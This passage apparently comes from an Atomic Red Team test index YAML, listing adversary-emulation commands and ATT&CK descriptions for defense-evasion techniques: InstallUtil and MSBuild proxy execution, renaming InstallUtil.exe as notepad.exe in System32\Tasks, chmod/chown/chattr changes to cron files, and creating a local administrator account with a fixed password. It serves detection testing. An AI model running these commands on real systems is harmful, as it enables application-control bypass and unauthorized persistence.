          description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly
          type: Path
          default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
        assembly_dir:
          description: directory to drop the compiled installer assembly
          type: Path
          default: "$Env:TEMP\\"
        invocation_method:
          description: the type of InstallUtil invocation variant - Executable, InstallHelper,
            or CheckIfInstallable
          type: String
          default: Executable
        assembly_filename:
          description: filename of the compiled installer assembly
          type: String
          default: T1218.004.dll
      dependencies:
      - description: 'InstallUtil test harness script must be installed at specified
          location (#{test_harness})

'
        prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
      executor:
        command: |
          # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
          . #{test_harness}

          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

          $CommandLine = "/logfile= /logtoconsole=false /installtype=notransaction /action=install `"$InstallerAssemblyFullPath`""
          $ExpectedOutput = 'Constructor_Install_'

          $TestArgs = @{
              OutputAssemblyDirectory = $InstallerAssemblyDir
              OutputAssemblyFileName = $InstallerAssemblyFileName
              InvocationMethod = '#{invocation_method}'
              CommandLine = $CommandLine
          }

          $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs

          if ($ActualOutput -ne $ExpectedOutput) {
              throw @"
          InstallUtil Install method execution test failure. Installer assembly execution output did not match the expected output.
          Expected: $ExpectedOutput
          Actual: $ActualOutput
          "@
          }
        cleanup_command: |
          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
          Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
        name: powershell
    - name: InstallUtil Uninstall method call - /U variant
      auto_generated_guid: 34428cfa-8e38-41e5-aff4-9e1f8f3a7b4b
      description: 'Executes the Uninstall Method. Upon execution, version information
        will be displayed the .NET framework install utility.

'
      supported_platforms:
      - windows
      input_arguments:
        test_harness:
          description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly
          type: Path
          default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
        assembly_dir:
          description: directory to drop the compiled installer assembly
          type: Path
          default: "$Env:TEMP\\"
        invocation_method:
          description: the type of InstallUtil invocation variant - Executable, InstallHelper,
            or CheckIfInstallable
          type: String
          default: Executable
        assembly_filename:
          description: filename of the compiled installer assembly
          type: String
          default: T1218.004.dll
      dependencies:
      - description: 'InstallUtil test harness script must be installed at specified
          location (#{test_harness})

'
        prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
      executor:
        command: |
          # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
          . #{test_harness}

          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

          $CommandLine = "/logfile= /logtoconsole=false /U `"$InstallerAssemblyFullPath`""
          $ExpectedOutput = 'Constructor_Uninstall_'

          $TestArgs = @{
              OutputAssemblyDirectory = $InstallerAssemblyDir
              OutputAssemblyFileName = $InstallerAssemblyFileName
              InvocationMethod = '#{invocation_method}'
              CommandLine = $CommandLine
          }

          $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs

          if ($ActualOutput -ne $ExpectedOutput) {
              throw @"
          InstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.
          Expected: $ExpectedOutput
          Actual: $ActualOutput
          "@
          }
        cleanup_command: |
          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
          Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
        name: powershell
    - name: InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall'
        variant
      auto_generated_guid: 06d9deba-f732-48a8-af8e-bdd6e4d98c1d
      description: 'Executes the Uninstall Method. Upon execution, version information
        will be displayed the .NET framework install utility.

'
      supported_platforms:
      - windows
      input_arguments:
        test_harness:
          description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly
          type: Path
          default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
        assembly_dir:
          description: directory to drop the compiled installer assembly
          type: Path
          default: "$Env:TEMP\\"
        invocation_method:
          description: the type of InstallUtil invocation variant - Executable, InstallHelper,
            or CheckIfInstallable
          type: String
          default: Executable
        assembly_filename:
          description: filename of the compiled installer assembly
          type: String
          default: T1218.004.dll
      dependencies:
      - description: 'InstallUtil test harness script must be installed at specified
          location (#{test_harness})

'
        prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
      executor:
        command: |
          # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
          . #{test_harness}

          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

          $CommandLine = "/logfile= /logtoconsole=false /installtype=notransaction /action=uninstall `"$InstallerAssemblyFullPath`""
          $ExpectedOutput = 'Constructor_Uninstall_'

          $TestArgs = @{
              OutputAssemblyDirectory = $InstallerAssemblyDir
              OutputAssemblyFileName = $InstallerAssemblyFileName
              InvocationMethod = '#{invocation_method}'
              CommandLine = $CommandLine
          }

          $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs

          if ($ActualOutput -ne $ExpectedOutput) {
              throw @"
          InstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.
          Expected: $ExpectedOutput
          Actual: $ActualOutput
          "@
          }
        cleanup_command: |
          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
          Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
        name: powershell
    - name: InstallUtil HelpText method call
      auto_generated_guid: 5a683850-1145-4326-a0e5-e91ced3c6022
      description: 'Executes the Uninstall Method. Upon execution, help information
        will be displayed for InstallUtil.

'
      supported_platforms:
      - windows
      input_arguments:
        test_harness:
          description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly
          type: Path
          default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
        assembly_dir:
          description: directory to drop the compiled installer assembly
          type: Path
          default: "$Env:TEMP\\"
        invocation_method:
          description: the type of InstallUtil invocation variant - Executable, InstallHelper,
            or CheckIfInstallable
          type: String
          default: Executable
        assembly_filename:
          description: filename of the compiled installer assembly
          type: String
          default: T1218.004.dll
      dependencies:
      - description: 'InstallUtil test harness script must be installed at specified
          location (#{test_harness})

'
        prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
      executor:
        command: |
          # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
          . #{test_harness}

          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

          $CommandLine = "/? `"$InstallerAssemblyFullPath`""
          $ExpectedOutput = 'Constructor_HelpText_'

          $TestArgs = @{
              OutputAssemblyDirectory = $InstallerAssemblyDir
              OutputAssemblyFileName = $InstallerAssemblyFileName
              InvocationMethod = '#{invocation_method}'
              CommandLine = $CommandLine
          }

          $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs

          if ($ActualOutput -ne $ExpectedOutput) {
              throw @"
          InstallUtil HelpText property execution test failure. Installer assembly execution output did not match the expected output.
          Expected: $ExpectedOutput
          Actual: $ActualOutput
          "@
          }
        cleanup_command: |
          $InstallerAssemblyDir = "#{assembly_dir}"
          $InstallerAssemblyFileName = "#{assembly_filename}"
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
          Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
        name: powershell
    - name: InstallUtil evasive invocation
      auto_generated_guid: 559e6d06-bb42-4307-bff7-3b95a8254bad
      description: |
        Executes an InstallUtil assembly by renaming InstallUtil.exe and using a nonstandard extension for the assembly. Upon execution, "Running a transacted installation."
        will be displayed, along with other information about the opperation. "The transacted install has completed." will be displayed upon completion.
      supported_platforms:
      - windows
      input_arguments:
        test_harness:
          description: location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly
          type: Path
          default: PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1
      dependencies:
      - description: 'InstallUtil test harness script must be installed at specified
          location (#{test_harness})

'
        prereq_command: 'if (Test-Path "#{test_harness}") {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{test_harness}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
      executor:
        command: |
          # Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
          . #{test_harness}

          $InstallerAssemblyDir = "$Env:windir\System32\Tasks"
          $InstallerAssemblyFileName = 'readme.txt'
          $InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

          $CommandLine = "readme.txt"
          $ExpectedOutput = 'Constructor_'

          # Explicitly set the directory so that a relative path to readme.txt can be supplied.
          Set-Location "$Env:windir\System32\Tasks"

          Copy-Item -Path "$([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())InstallUtil.exe" -Destination "$Env:windir\System32\Tasks\notepad.exe"

          $TestArgs = @{
              OutputAssemblyDirectory = $InstallerAssemblyDir
              OutputAssemblyFileName = $InstallerAssemblyFileName
              InvocationMethod = 'Executable'
              CommandLine = $CommandLine
              InstallUtilPath = "$Env:windir\System32\Tasks\notepad.exe"
          }

          $ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly

          if ($ActualOutput -ne $ExpectedOutput) {
              throw @"
          Evasive Installutil invocation test failure. Installer assembly execution output did not match the expected output.
          Expected: $ExpectedOutput
          Actual: $ActualOutput
          "@
          }
        cleanup_command: |
          Remove-Item -Path "$Env:windir\System32\Tasks\readme.txt" -ErrorAction Ignore
          Remove-Item -Path "$Env:windir\System32\Tasks\readme.InstallLog" -ErrorAction Ignore
          Remove-Item -Path "$Env:windir\System32\Tasks\readme.InstallState" -ErrorAction Ignore
          Remove-Item -Path "$Env:windir\System32\Tasks\notepad.exe" -ErrorAction Ignore
        name: powershell
  T1036.001:
    technique:
      created: '2020-02-10T19:49:46.752Z'
      modified: '2020-02-10T19:52:47.724Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52
      description: |-
        Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)

        Unlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.
      name: Invalid Code Signature
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1036.001
        url: https://attack.mitre.org/techniques/T1036/001
      - source_name: Threatexpress MetaTwin 2017
        url: https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/
        description: Vest, J. (2017, October 9). Borrowing Microsoft MetaData and
          Signatures to Hide Binary Payloads. Retrieved September 10, 2019.
      x_mitre_platforms:
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'File: File Metadata'
      x_mitre_detection: Collect and analyze signing certificate metadata and check
        signature validity on software that executes within the environment, look
        for invalid signatures as well as unusual certificate characteristics and
        outliers.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1149:
    technique:
      id: attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: LC_MAIN Hijacking
      description: |-
        **This technique has been deprecated and should no longer be used.**

        As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD  (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different  (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.
      external_references:
      - source_name: mitre-attack
        external_id: T1149
        url: https://attack.mitre.org/techniques/T1149
      - url: https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf
        description: 'Bit9 + Carbon Black Threat Research Team. (2015). 2015: The
          Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017.'
        source_name: Prolific OSX Malware History
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        source_name: Methods of Mac Malware Persistence
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-30T13:53:57.518Z'
      created: '2017-12-14T16:46:06.044Z'
      x_mitre_deprecated: true
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - macOS
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_defense_bypassed:
      - Application whitelisting
      - Process whitelisting
      - Whitelisting by file name or path
      x_mitre_detection: Determining the original entry point for a binary is difficult,
        but checksum and signature verification is very possible. Modifying the LC_MAIN
        entry point or adding in an additional LC_MAIN entry point invalidates the
        signature for the file and can be detected. Collect running process information
        and compare against known applications to look for suspicious behavior.
      x_mitre_version: '2.0'
    atomic_tests: []
  T1222.002:
    technique:
      created: '2020-02-04T19:24:27.774Z'
      modified: '2020-03-29T23:12:40.041Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      type: attack-pattern
      id: attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345
      description: |-
        Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

        Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).

        Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).
      name: Linux and Mac File and Directory Permissions Modification
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1222.002
        url: https://attack.mitre.org/techniques/T1222/002
      - url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100
        description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe.
          Retrieved August 19, 2018.
        source_name: Hybrid Analysis Icacls1 June 2018
      - url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110
        description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll.
          Retrieved August 19, 2018.
        source_name: Hybrid Analysis Icacls2 May 2018
      x_mitre_platforms:
      - macOS
      - Linux
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Metadata'
      x_mitre_detection: |-
        Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.

        Consider enabling file/directory permission change auditing on folders containing key binary/configuration files.
      x_mitre_permissions_required:
      - User
      - root
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1222.002
    atomic_tests:
    - name: chmod - Change file or folder mode (numeric mode)
      auto_generated_guid: 34ca1464-de9d-40c6-8c77-690adf36a135
      description: 'Changes a file or folder''s permissions using chmod and a specified
        numeric mode.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        numeric_mode:
          description: Specified numeric mode value
          type: Integer
          default: 755
        file_or_folder:
          description: Path of the file or folder
          type: Path
          default: "/tmp/AtomicRedTeam/atomics/T1222.002"
      executor:
        command: 'chmod #{numeric_mode} #{file_or_folder}

'
        name: bash
    - name: chmod - Change file or folder mode (symbolic mode)
      auto_generated_guid: fc9d6695-d022-4a80-91b1-381f5c35aff3
      description: 'Changes a file or folder''s permissions using chmod and a specified
        symbolic mode.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        symbolic_mode:
          description: Specified symbolic mode value
          type: String
          default: a+w
        file_or_folder:
          description: Path of the file or folder
          type: Path
          default: "/tmp/AtomicRedTeam/atomics/T1222.002"
      executor:
        command: 'chmod #{symbolic_mode} #{file_or_folder}

'
        name: bash
    - name: chmod - Change file or folder mode (numeric mode) recursively
      auto_generated_guid: ea79f937-4a4d-4348-ace6-9916aec453a4
      description: 'Changes a file or folder''s permissions recursively using chmod
        and a specified numeric mode.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        numeric_mode:
          description: Specified numeric mode value
          type: Integer
          default: 755
        file_or_folder:
          description: Path of the file or folder
          type: Path
          default: "/tmp/AtomicRedTeam/atomics/T1222.002"
      executor:
        command: 'chmod -R #{numeric_mode} #{file_or_folder}

'
        name: bash
    - name: chmod - Change file or folder mode (symbolic mode) recursively
      auto_generated_guid: 0451125c-b5f6-488f-993b-5a32b09f7d8f
      description: 'Changes a file or folder''s permissions recursively using chmod
        and a specified symbolic mode.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        symbolic_mode:
          description: Specified symbolic mode value
          type: String
          default: a+w
        file_or_folder:
          description: Path of the file or folder
          type: Path
          default: "/tmp/AtomicRedTeam/atomics/T1222.002"
      executor:
        command: 'chmod -R #{symbolic_mode} #{file_or_folder}

'
        name: bash
    - name: chown - Change file or folder ownership and group
      auto_generated_guid: d169e71b-85f9-44ec-8343-27093ff3dfc0
      description: 'Changes a file or folder''s ownership and group information using
        chown.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        owner:
          description: Username of desired owner
          type: String
          default: root
        file_or_folder:
          description: Path of the file or folder
          type: Path
          default: "/tmp/AtomicRedTeam/atomics/T1222.002/T1222.002.yaml"
        group:
          description: Group name of desired group
          type: String
          default: root
      executor:
        command: 'chown #{owner}:#{group} #{file_or_folder}

'
        name: bash
    - name: chown - Change file or folder ownership and group recursively
      auto_generated_guid: b78598be-ff39-448f-a463-adbf2a5b7848
      description: 'Changes a file or folder''s ownership and group information recursively
        using chown.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        owner:
          description: Username of desired owner
          type: String
          default: root
        file_or_folder:
          description: Path of the file or folder
          type: Path
          default: "/tmp/AtomicRedTeam/atomics/T1222.002"
        group:
          description: Group name of desired group
          type: String
          default: root
      executor:
        command: 'chown -R #{owner}:#{group} #{file_or_folder}

'
        name: bash
    - name: chown - Change file or folder mode ownership only
      auto_generated_guid: 967ba79d-f184-4e0e-8d09-6362b3162e99
      description: 'Changes a file or folder''s ownership only using chown.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        owner:
          description: Username of desired owner
          type: String
          default: root
        file_or_folder:
          description: Path of the file or folder
          type: Path
          default: "/tmp/AtomicRedTeam/atomics/T1222.002/T1222.002.yaml"
      executor:
        command: 'chown #{owner} #{file_or_folder}

'
        name: bash
    - name: chown - Change file or folder ownership recursively
      auto_generated_guid: 3b015515-b3d8-44e9-b8cd-6fa84faf30b2
      description: 'Changes a file or folder''s ownership only recursively using chown.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        owner:
          description: Username of desired owner
          type: String
          default: root
        file_or_folder:
          description: Path of the file or folder
          type: Path
          default: "/tmp/AtomicRedTeam/atomics/T1222.002"
      executor:
        command: 'chown -R #{owner} #{file_or_folder}

'
        name: bash
    - name: chattr - Remove immutable file attribute
      auto_generated_guid: e7469fe2-ad41-4382-8965-99b94dd3c13f
      description: |
        Remove's a file's `immutable` attribute using `chattr`.
        This technique was used by the threat actor Rocke during the compromise of Linux web servers.
      supported_platforms:
      - macos
      - linux
      input_arguments:
        file_to_modify:
          description: Path of the file
          type: Path
          default: "/var/spool/cron/root"
      executor:
        command: 'chattr -i #{file_to_modify}

'
        name: sh
  T1078.003:
    technique:
      id: attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2
      description: "Adversaries may obtain and abuse credentials of a local account
        as a means of gaining Initial Access, Persistence, Privilege Escalation, or
        Defense Evasion. Local accounts are those configured by an organization for
        use by users, remote support, services, or for administration on a single
        system or service.\n\nLocal Accounts may also be abused to elevate privileges
        and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).
        Password reuse may allow the abuse of local accounts across a set of machines
        on a network for the purposes of Privilege Escalation and Lateral Movement. "
      name: Local Accounts
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1078.003
        url: https://attack.mitre.org/techniques/T1078/003
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2021-04-05T12:51:00.663Z'
      created: '2020-03-13T20:26:46.695Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Containers
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_detection: Perform regular audits of local system accounts to detect
        accounts that may have been created by an adversary for persistence. Look
        for suspicious account behavior, such as accounts logged in at odd times or
        outside of business hours.
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1078.003
    atomic_tests:
    - name: Create local account with admin privileges
      auto_generated_guid: a524ce99-86de-4db6-b4f9-e08f35a47a15
      description: After execution the new account will be active and added to the
        Administrators group
      supported_platforms:
      - windows
      executor:
        command: |-
          net user art-test /add
          net user art-test Password123!
          net localgroup administrators art-test /add
        cleanup_command: |-
          net localgroup administrators art-test /delete >nul 2>&1
          net user art-test /delete >nul 2>&1
        name: command_prompt
        elevation_required: true
  T1127.001:
    technique:
      id: attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96
      description: |-
        Adversaries may use MSBuild to proxy execution of code through a trusted Windows utility. MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It handles XML formatted project files that define requirements for loading and building various platforms and configurations.(Citation: MSDN MSBuild)

        Adversaries can abuse MSBuild to proxy execution of malicious code. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# or Visual Basic code to be inserted into an XML project file.(Citation: MSDN MSBuild)(Citation: Microsoft MSBuild Inline Tasks 2017) MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application control defenses that are configured to allow MSBuild.exe execution.(Citation: LOLBAS Msbuild)
      name: MSBuild
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1127.001
        url: https://attack.mitre.org/techniques/T1127/001
      - url: https://msdn.microsoft.com/library/dd393574.aspx
        description: Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.
        source_name: MSDN MSBuild
      - source_name: Microsoft MSBuild Inline Tasks 2017
        url: https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-inline-tasks?view=vs-2019#code-element
        description: Microsoft. (2017, September 21). MSBuild inline tasks. Retrieved
          March 5, 2021.
      - source_name: LOLBAS Msbuild
        url: https://lolbas-project.github.io/lolbas/Binaries/Msbuild/
        description: LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.
      type: attack-pattern
      kill_chain_phases:
      - phase_name: defense-evasion
        kill_chain_name: mitre-attack
      modified: '2021-03-05T22:25:48.777Z'
      created: '2020-03-27T21:50:26.042Z'
      x_mitre_contributors:
      - Carrie Roberts, @OrOneEqualsOne
      x_mitre_platforms:
      - Windows
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: Use process monitoring to monitor the execution and arguments
        of MSBuild.exe. Compare recent invocations of those binaries with prior history
        of known good arguments and executed binaries to determine anomalous and potentially
        adversarial activity. Command arguments used before and after invocation of
        the utilities may also be useful in determining the origin and purpose of
        the binary being executed.
      x_mitre_system_requirements:
      - " .NET Framework version 4 or higher"
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      identifier: T1127.001
    atomic_tests:
    - name: MSBuild Bypass Using Inline Tasks (C#)
      auto_generated_guid: 58742c0f-cb01-44cd-a60b-fb26e8871c93
      description: 'Executes the code in a project file using msbuild.exe. The default
        C# project example file (T1127.001.csproj) will simply print "Hello From a
        Code Fragment" and "Hello From a Class." to the screen.

'
      supported_platforms:
      - windows
      input_arguments:
        filename:
          description: Location of the project file
          type: Path
          default: PathToAtomicsFolder\T1127.001\src\T1127.001.csproj
        msbuildpath:
          description: Default location of MSBuild
          type: Path
          default: C:\Windows\Microsoft.NET\Framework\v4.0.30319
        msbuildname:
          description: Default name of MSBuild
          type: Path
          default: msbuild.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Project file must exist on disk at specified location (#{filename})

'
        prereq_command: 'if (Test-Path #{filename}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          New-Item -Type Directory (split-path #{filename}) -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127.001/src/T1127.001.csproj" -OutFile "#{filename}"
      executor:
        command: "#{msbuildpath}\\#{msbuildname} #{filename}\n"
        name: command_prompt
    - name: MSBuild Bypass Using Inline Tasks (VB)
      auto_generated_guid: ab042179-c0c5-402f-9bc8-42741f5ce359
      description: 'Executes the code in a project file using msbuild.exe. The default
        Visual Basic example file (vb.xml) will simply print "Hello from a Visual
        Basic inline task!" to the screen.

'
      supported_platforms:
      - windows
      input_arguments:
        filename:
          description: Location of the project file
          type: Path
          default: PathToAtomicsFolder\T1127.001\src\vb.xml
        msbuildpath:
          description: Default location of MSBuild
          type: Path
          default: C:\Windows\Microsoft.NET\Framework\v4.0.30319
        msbuildname:
          description: Default name of MSBuild
          type: Path
          default: msbuild.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Project file must exist on disk at specified location (#{filename})

'
